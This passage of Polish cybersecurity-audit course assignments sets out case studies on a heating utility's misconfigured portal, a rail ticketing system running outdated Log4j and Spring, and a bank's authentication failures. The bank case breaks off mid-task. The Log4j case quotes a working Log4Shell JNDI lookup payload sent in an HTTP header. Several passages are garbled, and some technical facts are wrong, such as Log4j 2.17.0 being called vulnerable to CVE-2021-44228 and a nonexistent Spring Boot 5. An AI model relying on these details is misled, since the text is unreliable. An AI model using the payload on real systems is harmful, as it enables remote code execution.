Stan faktyczny w obszarze błędnej konfiguracji zabezpieczeń:

• Serwer WWW portalu klienta e-BOK (NGINX + PHP 7.2) został wdrożony z konfiguracją domyślną: włączony jest pełny serwis katalogów (autoindex), nagłówki bezpieczeństwa HTTP (X-Frame-Options, Content-Security-Policy, Referrer-Policy, Permissions-Policy, Strict-Transport-Security) nie są wysyłane, a strona testowa i stary certyfikat z 2020 r. pozostają aktywne na porcie 8443.
• Panel administracyjny portalu jest dostępny publicznie pod adresem `/admin` z uproszczonym uwierzytelnianiem (login: admin / hasło domyślne), nie posiadającym braku MFA i blokady konta po błędnych logowaniach. Portal PHP korzysta z przestarzałej biblioteki z reportowanymi podatnościami podatnymi na nieautoryzowaną aktualizację pakietów.
• Logiem jest Ja: Telnet OT nie jest segmentowany — system telemetrii SCADA posiada port szeregowy podłączony do sterowników węzłów cieplnych komunikujący się protokołem MODBUS/TCP bez szyfrowania przez jeden router brzegowy z serwerem WWW portalu. Brak segregacji sieci (ISO 27001 A.8.22) umożliwia ruch lateralny od portalu klienckiego do sterowników SCADA.
• Monitoring bezpieczeństwa ogranicza się do narzędzi źródłowych. Brak systemu SIEM, brak logów dostępowych na poziomie aplikacji, awaria bieżąca polegająca na podatnych panelach została zarejestrowana w frameworku informacyjnym CSIRT (rejestr zgłoszeń), ale nie posiada planów reagowania (XDR/SOAR).
• Podczas corocznego testu w postępowaniu CSIRT NASK odnotowano incydent o podłożu ransomware w środowisku testowym telemetrii, skąd połączenie z testowanym łańcuchem doszło do strefy produkcyjnej. Komisja Nadzoru spółki zleciła audyt.

Prezes MPEC, w kontekście uzupełnienia wpisu do rejestru operatorów usług kluczowych oraz podległości Ustawie o KSC, zleca zaawansowany audyt bezpieczeństwa aplikacji webowych na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, analizuje obowiązki operatora usługi kluczowej (art. 9-11 ustawy o KSC), weryfikuje realizację zaleceń CSIRT NASK, przygotowuje wnioski dla Prezesa Zarządu.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Infrastruktury OT/IT): Bada konfigurację NGINX, paneli administracyjnych, segregaçję sieci OT/IT, konfigurację systemu telemetrii SCADA i modeluje ścieżki ruchu lateralnego.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Przejęcie publicznie dostępnego panelu administracyjnego portalu e-BOK z domyślnym hasłem (P=3, S=3 -> R=9; po kontrolach: MFA, blokada kont: P=1, S=2 -> R=2).

  2. Ruch lateralny z portalu klienta do sterowników SCADA przez braku segregacji sieci OT/IT (P=3, S=3 -> R=9; po kontrolach: segmentacja, firewalle OT: P=1, S=3 -> R=3).

  3. Wykorzystanie podatnej biblioteki PHP i przestarzałego HTTPS w celu przechwycenia ruchu (P=2, S=3 -> R=6; po kontrolach: aktualizacje, TLS 1.3: P=1, S=2 -> R=2).

  4. Niezorganizowanie skutecznej reakcji na incydent w otoczeniu ransomware (P=3, S=3 -> R=9; po kontrolach: SOAR, plany reagowania: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Publicznie dostępny panel administracyjny portalu e-BOK z domyślnymi poświadczeniami i brakiem MFA oraz blokady konta (ISO 27001 A.8.5 Bezpieczne uwierzytelnianie, A.8.2, art. 9 i 10 ustawy o KSC).
  • Niezgodność Duża (NC1): Brak segmentacji sieci OT/IT umożliwiający ruch lateralny do systemu telemetrii SCADA (ISO 27001 A.8.22 Segregacja w sieciach, A.8.20, wymogi KSC dla telemetrii).
  • Niezgodność Mała (NC2): Wdrożenie serwera WWW z domyślną konfiguracją, aktywnym listingiem katalogów i brakiem nagłówków bezpieczeństwa HTTP oraz przestarzałą biblioteką PHP (ISO 27001 A.8.9 Zarządzanie konfiguracją, A.5.16, A.8.8).
  • Niezgodność Mała (NC2): Brak spójnego systemu monitorowania zdarzeń i SIEM/SOAR w środowisku produkcyjnym (ISO 27001 A.8.15, A.8.16).
  • Szansa na doskonalenie (OFI): Wdrożenie automated scanning konfiguracji (CIS Benchmarks dla Nginx i MySQL) w procesie zmian konfiguracyjnych.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  1. Dlaczego panel administracyjny był publicznie dostępny z domyślnym hasłem? (Ponieważ serwer wdrożono zgodnie z instrukcją instalacyjną dostawcy, której parametry zabezpieczeń nie zmodyfikowano).

  2. Dlaczego nie zmodyfikowano domyślnych parametrów? (Ponieważ zespół IT operujący wcześniej na systemach OT nie miał kompetencji programistycznych w zakresie utwardzania aplikacji WWW).

  3. Dlaczego brak było kompetencji? (Ponieważ szkolenia operatora usługi kluczowej koncentrowały się na utrzymaniu SCADA, a nie na bezpieczeństwie aplikacji internetowych dla klientów).

  4. Dlaczego nie powierzono utwardzania konfiguracji wyspecjalizowanej firmie? (Ponieważ w postępowaniu o udzielenie zamówienia kryterium ceny przeważyło nad wymaganiami bezpieczeństwa konfiguracji).

  5. Root Cause (Przyczyna źródłowa): Brak ustanowionego procesu zarządzania konfiguracją bezpieczeństwa aplikacji Web i brak obowiązkowych kontroli bezpieczeństwa przy wdrożeniu i zakupie oprogramowania.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI).

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, a następnie przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu - operator usługi kluczowej i kontekstu KSC/NIS2 (3 min): Profil MPEC, rejestr operatorów usług kluczowych, wymogi art. 9-11 ustawy o KSC (Student 1).
• Prezentacja techniczna analizy konfiguracji zabezpieczeń i segmentacji OT/IT (4 min): Analiza NGINX, paneli admin, nagłówków, bibliotek PHP oraz ścieżek ruchu lateralnego do systemu SCADA (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie ISO 27001 A.8.22, A.8.5 i ustawy o KSC (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why oraz Planu Działań Korygujących CAP (3 min): Omówienie przyczyn źródłowych, tabela CAP, segmentacja OT/IT i system SIEM/SOAR (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Prezesa Zarządu i komisji nadzoru.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak poprawnie skonfigurować utwardzony serwer NGINX dla portalu klienta (blokada automatycznego indeksowania, właściwe nagłówki bezpieczeństwa, prawidłowe certyfikaty, segmentacja strefy demilitarizowanej)?
• Jak przeciwdziałać lukom w zabezpieczeniach systemu telemetrii SCADA w środowisku operatora usługi kluczowej (segmentacja OT, firewalle OT, monitorowanie anomalii, VPN dla techników)?
• Jakie konsekwencje administracyjne i sanacje przewiduje Ustawa o KSC dla operatora usługi kluczowej nierespektującego wymogów (art. 23-24, uprawnienia CSIRT NASK)?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (testy konfiguracji, analiza nagłówków, skany podatności).

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: przykładowa konfiguracja Nginx z zestawami TLS i nagłówkami, model segmentacji OT/IT, reguły firewalla, wdrożenie SIEM/SOAR.

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich (koszty segmentacji OT, dostępność sterowników, ryzyka rekomendacji).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A05:2021 Security Misconfiguration.
• CIS Benchmarks: "CIS NGINX Benchmark" i "CIS MySQL Benchmark" (wersja 2.0).
• Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz.U. 2018 poz. 1560) - art. 3, 5, 6, 9, 10, 11, 23, 24.
• Rozporządzenie Rady Ministrów z dnia 11 stycznia 2019 r. w sprawie rodzajów dokumentów, które mogą być dołączane do wniosku o dokonanie wpisu do rejestru podmiotów świadczących usługi kluczowe oraz wzoru wniosku (Dz.U. 2019 poz. 76).
• Rozporządzenie Rady Ministrów z dnia 12 kwietnia 2012 r. w sprawie KRI (Dz.U. 2017 poz. 2247) - § 20 ust. 2 pkt 4 i 5.
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.8.2, A.8.5, A.8.8, A.8.9, A.8.15, A.8.16, A.8.20, A.8.22.
• Dyrektywa (UE) 2022/2555 (NIS2) - zakresy dla sektora energetycznego i ciepłowniczego.

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień konfiguracyjnych (NC1/NC2/OFI).
• U1 Opracowanie zaleceń utwardzania konfiguracji NGINX, segmentacji OT/IT i zarządzania sekretami.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 dla infrastruktury krytycznej.
• U4 Konstrukcja Planu Działań Korygujących (CAP) ze wskaźnikami KPI oraz raportu 8-12 stron.
• W1W2W3 Głęboka znajomość Ustawy o KSC, NIS2, KRI, normy ISO 27001 i CIS Benchmarks.
• K1K2K3 Odpowiedzialność za bezpieczeństwo infrastruktury krytycznej, obiektywizm audytorski.

Podczas obrony referatu zaprezentujcie komisji mapę segmentacji sieci OT/IT przed audytem i po wdrożeniu Planu CAP oraz porównanie odpowiedzi nagłówków HTTP (np. nazwa serwera, brak CSP, aktywne autoindex) dla portalu klienckiego przed i po utwardzeniu.

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania zarządzania podatnymi i przestarzałymi komponentami oprogramowania w cyklu życia aplikacji transportowej (kategoria OWASP Top 10:2021 - A06:2021 Vulnerable and Outdated Components). Studenci badają Centralny System Sprzedaży Biletów Kolejowych działający w PKP Intercity (operator kolejowy objęty zakresem KSC/NIS2 jako podmiot kluczowy sektora transportu), w którym agenci sprzedaży lokalnej korzystają z komponentów biblioteki Apache Log4j 2.17.0 zarejestrowanej podatnością Log4Shell (CVE-2021-44228) oraz z całej gamy przestarzałych bibliotek (OpenSSL, Spring Framework, jackson-databind). Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) z precyzyjnym wskazaniem punktów normy ISO/IEC 27001:2022 oraz standardów i przepisów (KSC, NIS2), przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) oraz listy składników oprogramowania (SBOM) w formacie CycloneDX z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna gradacja uchybień komponentowych na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI).
• U1 Opracowanie zaleceń polityki zarządzania podatnościami, automatyzacji skanowania SCA, generowania i utrzymywania SBOM (CycloneDX/SPDX).
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu inherentnym i rezydualnym.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron), tabeli CAP oraz SBOM, a następnie wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość KSC i NIS2 dla sektora transportu, rozporządzeń dot. SBOM, normy PN-EN ISO/IEC 27001:2022 i standardów OWASP (A.8.8, A.5.21, A.8.9).
• K1K2K3 Odpowiedzialność za bezpieczeństwo infrastruktury krytycznej, obiektywizm audytorski i komunikacja z kierownictwem przewoźnika.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa w transporcie kolejowym), Wyk3 (Kontrole A.8.8, A.5.21, A.8.9, A.8.28), Wyk4 (KSC/NIS2, DORA dla sektora transportu), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Analiza SBOM i bibliotek open source), Wyk7 (Procedura 5 Why i Plan CAP).

PKP Intercity jest państwowym przewoźnikiem kolejowym obsługującym ponad 60 mln pasażerów rocznie, figurującym w rejestrze operatorów usług kluczowych sektora transportu (system sprzedaży biletów online - kategoria usługi kluczowej). Centralny System Sprzedaży Biletów (CSSB), rozwijany od 2015 r., obsługuje sprzedaż przez internet, kasy biletowe oraz agencje skupione wokół lidera systemu - spółki E-IC S.A. System składa się z:

• backendu Javy w środowisku Spring Boot 5 zbudowanego na frameworku Spring Framework 5.3.0 (przestarzały, z wykrytą podatnością CVE-2022-22965 Spring4Shell),
• bazy PostgreSQL, kolejki Apache Kafka oraz usługi serwisu sesji - komponentów zależnych od biblioteki Apache Log4j 2.17.0 (dotknięta Log4Shell CVE-2021-44228, CVE-2021-45046).
• frontendu AngularJS (wersja 1.8) stosowanego w panelach agentów sprzedaży lokalnej, w którym brak oficjalnego wsparcia bezpieczeństwa od 2018 r. oraz aplikacji mobilnej napisanej w Cordova.

W pokryciu testowym systemu sprzedaży wystąpił istotny incydent: w lutym 2022 r. zewnętrzny badacz bezpieczeństwa (uczestniczący w programie odpowiedzialnego ujawniania podatności - VDP) zgłosił CSIRT Kolejowi pojedyncze żądanie HTTP z dodatkowym polem `X-Api-Version` zawierającym łańcuch ataku JNDI `{jndi:ldap://10.0.0.10:1389/a}`, które doprowadziło do odbicia w logach serwera aplikacji i wytrącenia uprawnień deserializacji Log4j. Analiza zdarzeń wykazała, że biblioteka Log4j zaległa w środowisku produkcyjnym od 2021 r., a organizacja nie prowadziła inwentarza komponentów (BOM) ani nie posiadała narzędzi SCA (Software Composition Analysis).

Dyrektor Pionu IT PKP Intercity, wobec ryzyka nałożenia kar przez regulatora (Art. 1) oraz presji ze strony Zarządu, powołuje audyt na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, weryfikuje rejestrację w CSIRT Kolejowym, obowiązki KSC/NIS2 dla sektora transportu, planuje przejrzystość łańcucha dostaw (SBOM).

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji i Łańcucha Dostaw): Bada biblioteki i narzędzia SCA, generuje SBOM w formacie CycloneDX, analizuje podatności Log4Shell/Spring4Shell, projektuje politykę komponentową i reguły aktualizacji.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Eksploatacja krytycznej podatności Log4Shell (CVE-2021-44228) w systemie sprzedaży biletów online (P=3, S=3 -> R=9; po kontrolach: aktualizacja do 2.17.1+, WAF reguły: P=1, S=3 -> R=3).

  2. Eksploatacja podatności Spring4Shell (CVE-2022-22965) w warstwie Spring Boot (P=3, S=3 -> R=9; po kontrolach: aktualizacja Spring, WAF: P=1, S=2 -> R=2).

  3. Wykorzystanie nieobsługiwanej i podatnej wersji AngularJS na panelach agentów (P=3, S=2 -> R=6; po kontrolach: migracja, CSP: P=1, S=2 -> R=2).

  4. Brak wykrycia podatności w łańcuchu dostaw (brak SCA i SBOM) opóźniający reakcję na incydent (P=3, S=3 -> R=9; po kontrolach: SCA/SBOM CyccloneDX: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

  • Niezgodność Duża (NC1): Eksploatacja biblioteki Apache Log4j 2.17.0 (Log4Shell CVE-2021-44228) w środowisku produkcyjnym CSSB (ISO 27001 A.8.8 Zarządzanie podatnościami technicznymi, A.5.21 Bezpieczeństwo w łańcuchu dostaw, A.8.9).
  • Niezgodność Duża (NC1): Stosowanie przestarzałego frameworku Spring z podatnością Spring4Shell oraz brak narzędzi SCA i inwentarza komponentów (ISO 27001 A.5.21, A.8.28, NIS2 art. 21).
  • Niezgodność Mała (NC2): Utrzymywanie nieobsługiwanej wersji AngularJS 1.8 na panelach agentów sprzedaży (ISO 27001 A.5.21, A.8.9).
  • Niezgodność Mała (NC2): Brak polityki zarządzania licencjami i aktualizacjami komponentów open source oraz brak SBOM (ISO 27001 A.5.21, A.8.8).
  • Szansa na doskonalenie (OFI): Wdrożenie automatycznego skanowania SCA (OWASP Dependency-Check / Trivy / Snyk) w potoku CI/CD oraz publikowania SBOM CycloneDX dla każdej wersji.
• Krok 4 (Dochodzenie przyczyn źródłowych metodą 5 Why):

  1. Dlaczego biblioteka Log4j 2.17.0 pozostała w środowisku produkcyjnym 8 miesięcy po publikacji poprawki? (Ponieważ na serwerze aplikacji nie prowadzono cyklicznego przeglądu zainstalowanych bibliotek).

  2. Dlaczego nie prowadzono przeglądu bibliotek? (Ponieważ w procesie budowania i wdrażania oprogramowania nie stosowano narzędzi SCA ani rejestru inwentaryzacji).

  3. Dlaczego nie stosowano narzędzi SCA? (Ponieważ wymagania dla dostawcy systemu nie zawierały obowiązku dostarczenia listy komponentów (SBOM) ani testów bezpieczeństwa zależności).

  4. Dlaczego wymagania nie przewidywały SBOM? (Ponieważ organizacja nie rozpoznała łańcucha dostaw oprogramowania jako istotnego obszaru ryzyka w sektorze transportu).

  5. Root Cause (Przyczyna źródłowa): Brak zaimplementowanej polityki zarządzania komponentami oprogramowania i łańcuchem dostaw, brak narzędzi SCA/SBOM oraz brak wymogów bezpieczeństwa wobec dostawców w postępowaniach zamówień.

• Krok 5 (Konstrukcja Planu Działań Korygujących - CAP):

  Opracujcie tabelę CAP z kolumnami: Lp., Zidentyfikowana niezgodność (NC1/NC2/OFI), Działanie korygujące / zapobiegawcze, Właściciel biznesowy (rola), Termin wdrożenia (14-90 dni), Mierzalny wskaźnik sukcesu (KPI) oraz dodatkowo przygotujcie kompletny przykład SBOM w formacie CycloneDX dla krytycznego komponentu.

• Krok 6 (Przygotowanie referatu i dokumentacji raportowej):

  Zredagujcie raport poaudytowy o objętości 8-12 stron z pełnymi kartami i analizami, dołączcie SBOM i przygotujcie prezentację multimedialną do 15-minutowej obrony przed komisją.

Plan prezentacji referatu seminaryjnego (15 minut):

• Prezentacja badanego podmiotu i kontekstu KSC/NIS2 w transporcie kolejowym (3 min): Profil PKP Intercity, rola systemu CSSB, wymagania operatorów usług kluczowych (Student 1).
• Prezentacja techniczna analizy podatnych komponentów i łańcucha dostaw (4 min): Analiza Log4j/Log4Shell, Spring4Shell, AngularJS, technik SCA i generowania SBOM CycloneDX; demonstracja wektora ataku JNDI w środowisku testowym (Student 2).
• Prezentacja zaawansowanej analizy ryzyka w matrycy 3x3 i kwalifikacji NC1/NC2/OFI (3 min): Wyliczenia IR vs RR, powołanie ISO 27001 A.8.8, A.5.21 i NIS2 art. 21 (Student 3 lub Student 1).
• Prezentacja dochodzenia 5 Why, Planu CAP i SBOM (3 min): Omówienie przyczyn źródłowych, tabela CAP, polityka komponentowa i struktura SBOM CycloneDX (Student 2 i Student 3).
• Podsumowanie, rekomendacje strategiczne i dyskusja z komisją (2 min): Obrona realności wdrożeniowej zaleceń (cały zespół).

Wymagana struktura raportu poaudytowego na ocenę 4.0 (objętość 8-12 stron A4):

1. Podsumowanie zarządcze dla Zarządu i Dyrektora Pionu IT.

2. Odpowiedzi na zaawansowane pytania problemowe:

• Jak zbudować i utrzymywać listę składników oprogramowania (SBOM) w formacie CycloneDX i wykorzystywać ją do oceny ryzyka podatności komponentów?
• Jak zautomatyzować wykrywanie i korygowanie podatności bibliotek w procesach CI/CD bez przerywania cyklu wydawniczego?
• Jakie sankcje przewiduje Dyrektywa NIS2 dla podmiotu kluczowego sektora transportu, który nie zapewnia terminowych poprawek krytycznych podatności w swoich systemach internetowych?

3. Opis stanu faktycznego i przebiegu testów bezpieczeństwa (skany SCA, testy komponentów, analiza wektora JNDI).

4. Tabela Zaawansowanej Analizy Ryzyka w matrycy 3x3 (4 wektory, IR vs RR).

5. Formalne Karty Niezgodności (NC1/NC2/OFI).

6. Protokół dochodzenia przyczyn źródłowych (5 Why).

7. Szczegółowe rozwiązanie techniczne: polityka zarządzania podatnościami, konfiguracja narzędzia SCA, szablon SBOM CycloneDX, procedury aktualizacji krytycznych.

8. Tabela Planu Działań Korygujących (CAP).

9. Analiza kompromisów inżynierskich (koszt aktualizacji komponentów, kompatybilność bibliotek, okna zmian).

10. Bibliografia, netografia i odnośniki do norm i aktów prawnych.

• OWASP Foundation: "OWASP Top 10:2021", A06:2021 Vulnerable and Outdated Components.
• OWASP Foundation: "CycloneDX XML Schema" - format list składników oprogramowania (CycloneDX Specification v1.4/1.5).
• Republika Federalna Majowa: CVE-2021-44228 (Log4Shell), CVE-2021-45046; CVE-2022-22965 (Spring4Shell).
• Ustawa z dnia 5 lipca 2018 r. o krajowym systemie cyberbezpieczeństwa (Dz.U. 2018 poz. 1560).
• Dyrektywa (UE) 2022/2555 (NIS2) - art. 21 (zarządzanie ryzykiem, w tym łańcuch dostaw) i art. 34 (sankcje).
• Norma PN-EN ISO/IEC 27001:2022: kontrole A.5.21 (Bezpieczeństwo w łańcuchu dostaw ICT), A.8.8 (Zarządzanie podatnościami technicznymi), A.8.9 (Zarządzanie konfiguracją), A.8.28.
• NIST SP 800-218 (SSDF) - bezpieczne wytwarzanie oprogramowania, sekcja dotycząca składu oprogramowania.

• U2 Profesjonalna identyfikacja i formalna gradacja uchybień komponentowych (NC1/NC2/OFI).
• U1 Opracowanie zaleceń polityki komponentowej SCA/SBOM, automatyzacji skanowań i procedur aktualizacji.
• U3 Zastosowanie zaawansowanej analizy ryzyka 3x3 w sektorze transportu.
• U4 Konstrukcja Planu Działań Korygujących (CAP) ze wskaźnikami KPI, raportu 8-12 stron oraz SBOM CycloneDX.
• W1W2W3 Głęboka znajomość KSC/NIS2, normy ISO 27001 A.8.8/A.5.21, SBOM i standardów OWASP.
• K1K2K3 Odpowiedzialność za infrastrukturę krytyczną, niezależność audytorska i komunikacja z kierownictwem przewoźnika.

Podczas obrony referatu zaprezentujcie komisji fragment rzeczywistego SBOM w formacie CycloneDX (z komponentami i ich identyfikatorami podatności) oraz harmonogram czasowy obsługi podatności Log4Shell w poszczególnych poziomach środowisk (incydenty środowisk, procedury hotfix).

Głównym celem zadania jest opanowanie przez studentów zaawansowanych umiejętności audytowania mechanizmów identyfikacji i uwierzytelniania klientów w systemach bankowych (kategoria OWASP Top 10:2021 - A07:2021 Identification and Authentication Failures). Studenci badają system bankowości elektronicznej i mobilnej 'Polskiego Centrum Rozliczeń S.A.', w którym wykryto brak skutecznych mechanizmów obrony przed atakami typu credential stuffing, brak automatycznej blokady kont po nieudanych próbach logowania, brak wymogu silnego uwierzytelniania wieloskładnikowego (MFA) dla klientów VIP oraz podatność na atak enumeracji kont. Zadanie wymaga przeprowadzenia formalnej analizy ryzyka w matrycy 3x3 (ryzyko inherentne i rezydualne), opracowania kart niezgodności (NC1/NC2/OFI) w świetle Rekomendacji D KNF, Rozporządzenia DORA i wytycznych EBA, przeprowadzenia dochodzenia przyczyn źródłowych metodą 5 Why, a także skonstruowania kompletnego Planu Działań Korygujących (CAP) z przypisaniem ról, terminów i mierzalnych wskaźników KPI.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i formalna gradacja uchybień uwierzytelniania na Niezgodności Duże (NC1), Niezgodności Małe (NC2) oraz Szanse na poprawę (OFI).
• U1 Opracowanie zaleceń silnego uwierzytelniania (Fast Identity Online FIDO2/WebAuthn), polityki blokad i wykrywania anomalii logowania.
• U3 Przeprowadzenie analizy ryzyka metodą 3x3 dla 4 wektorów zagrożeń w ujęciu inherentnym i rezydualnym.
• U4 Opracowanie ustrukturyzowanego raportu poaudytowego (8-12 stron) oraz tabeli CAP i wygłoszenie 15-minutowego referatu seminaryjnego.
• W1W2W3 Zaawansowana znajomość Rekomendacji D (2020 r.) KNF, Rozporządzenia DORA, wytycznych EBA, normy PN-EN ISO/IEC 27001:2022 oraz standardu OWASP ASVS.
• K1K2K3 Obiektywizm, niezależność osądu audytorskiego i profesjonalna komunikacja z zarządem banku.
• Powiązanie z wykładem: Wyk1 (Audyt bezpieczeństwa w sektorze bankowym), Wyk3 (Kontrole A.8.5, A.8.2, A.8.3, A.5.15 ISO 27001), Wyk4 (Rekomendacja D KNF, DORA, PSD2), Wyk5 (Risk-based audit w matrycy 3x3), Wyk6 (Analiza żądań logowania i polityki haseł), Wyk7 (Procedura 5 Why i Plan CAP).

'Polskie Centrum Rozliczeń S.A.' to średniej wielkości bank komercyjny obsługujący 1,4 mln klientów detalicznych oraz 85 000 podmiotów gospodarczych, ze szczególnym naciskiem na kredyty hipoteczne walutowe i rozliczenia transgraniczne. Bank zbudował własny system bankowości elektronicznej i mobilnej na platformie JAVA (API REST + aplikacja mobilna ANDROID/iOS) obsługujący przelewy, karty, lokatę i kredyty.

Stan faktyczny w obszarze identyfikacji i uwierzytelniania:

• Dane uwierzytelniające (login i hasło) weryfikowane są w systemie SIS (Single Sign-On), natomiast w systemie bankowości elektronicznej nie ma automatycznej blokady konta po określonej liczbie nieudanych prób (próby: 10 poprawek), nie ma również wymogu zmiany hasła po okresie zgodnym z polityką.
• Analiza logów z ostatnich 90 dni wykazała lawinowe ataki typu credential stuffing realizowane ze spójnych farm adresów IP (botnet) - setki tysięcy prób logowania dziennie, z których część wykorzystała pary kompromitowanych loginów i haseł z wycieków zewnętrznych, uzyskując udane logowania do kont 2 300 klientów.
• Klienci VIP (z depozytami powyżej 1 mln zł) nie mają wdrożonego wymogu silnego uwierzytelniania wieloskładnikowego (MFA/FIDO2) w logowaniu do serwisu, a w module przelewów SEPA brak jest kontekstowego potwierdzania transakcji (SCA) zgodnie z art. 97 PSD2 (tylko OTP SMS).
• Endpoint `GET /api/v1/auth/user-status` umożliwia enumerację numerów PESEL i loginów aktywnych użytkowników na podstawie różnic kodów odpowiedzi (200/404), będących podstawą do selekcji ofiar ataków phishingowych.
• System nie prowadzi dedykowanego monitoringu wykrywania anomalii logowania (velocity checks, geolokalizacja, urządzenie) ani integracji z silnikiem wykrywania oszustw (Fraud Detection).

Zarząd banku, wobec wzrastającej liczby reklamacji klientów i presji nadzoru KNF (ocena ryzyka IT nie podnoszona z 3 do 4 na cykl), powołuje zespół audytorski na ocenę 4.0.

Zadanie realizowane jest przez 2-3 osobowy zespół audytorski w formule studium przypadku:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Governance i Zgodność Regulacyjna): Koordynuje prace zespołu, analizuje Rekomendację D KNF (2020 r.), Rozporządzenie DORA, PSD2/SCA i wytyczne EBA, przygotowuje wnioski dla Zarządu i dla Rady Nadzorczej.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji Bankowych i Zarządzania Tożsamością): Dekonstruuje żądania logowania, bada polityki zinczeń, endpoint enumeracji, wdraża model FIDO2/WebAuthn i analizuje logi botnetowe.

  Student 3 (Audytor Zgodności Regulacyjnej, Ryzyka i Jakości CAP): Przeprowadza analizę ryzyka w matrycy 3x3, sporządza karty niezgodności (NC1/NC2/OFI), prowadzi dochodzenie 5 Why i konstruuje tabelę Planu CAP ze wskaźnikami KPI. W zespole 2-osobowym zadania te dzielą Studenci 1 i 2.

• Krok 2 (Zaawansowana analiza ryzyka metodą 3x3):

  Oszacujcie prawdopodobieństwo (P: 1-3) oraz skutek (S: 1-3) w skali 9-stopniowej dla 4 wektorów zagrożeń:

  1. Udane logowania w atakach credential stuffing na skompromitowane konta (P=3, S=3 -> R=9; po kontrolach: blokady, MFA: P=1, S=3 -> R=3).

  2. Przejęcie kont klientów VIP przez brak MFA w logowaniu i potwierdzaniu transakcji (P=3, S=3 -> R=9; po kontrolach: FIDO2/SCA: P=1, S=2 -> R=2).

  3. Wykorzystanie endpoint enumeracji kont i selekcja ofiar phishingu (P=3, S=2 -> R=6; po kontrolach: standaryzacja odpowiedzi, rate limiting: P=1, S=2 -> R=2).

  4. Brak wykrywania anomalii logowania i nieograniczona liczba prób logowania (P=3, S=3 -> R=9; po kontrolach: SIEM anomaly detection: P=1, S=2 -> R=2).

• Krok 3 (Formalna kwalifikacja uchybień - Karty Niezgodności):

  Sformułujcie karty uchybień z podziałem na:

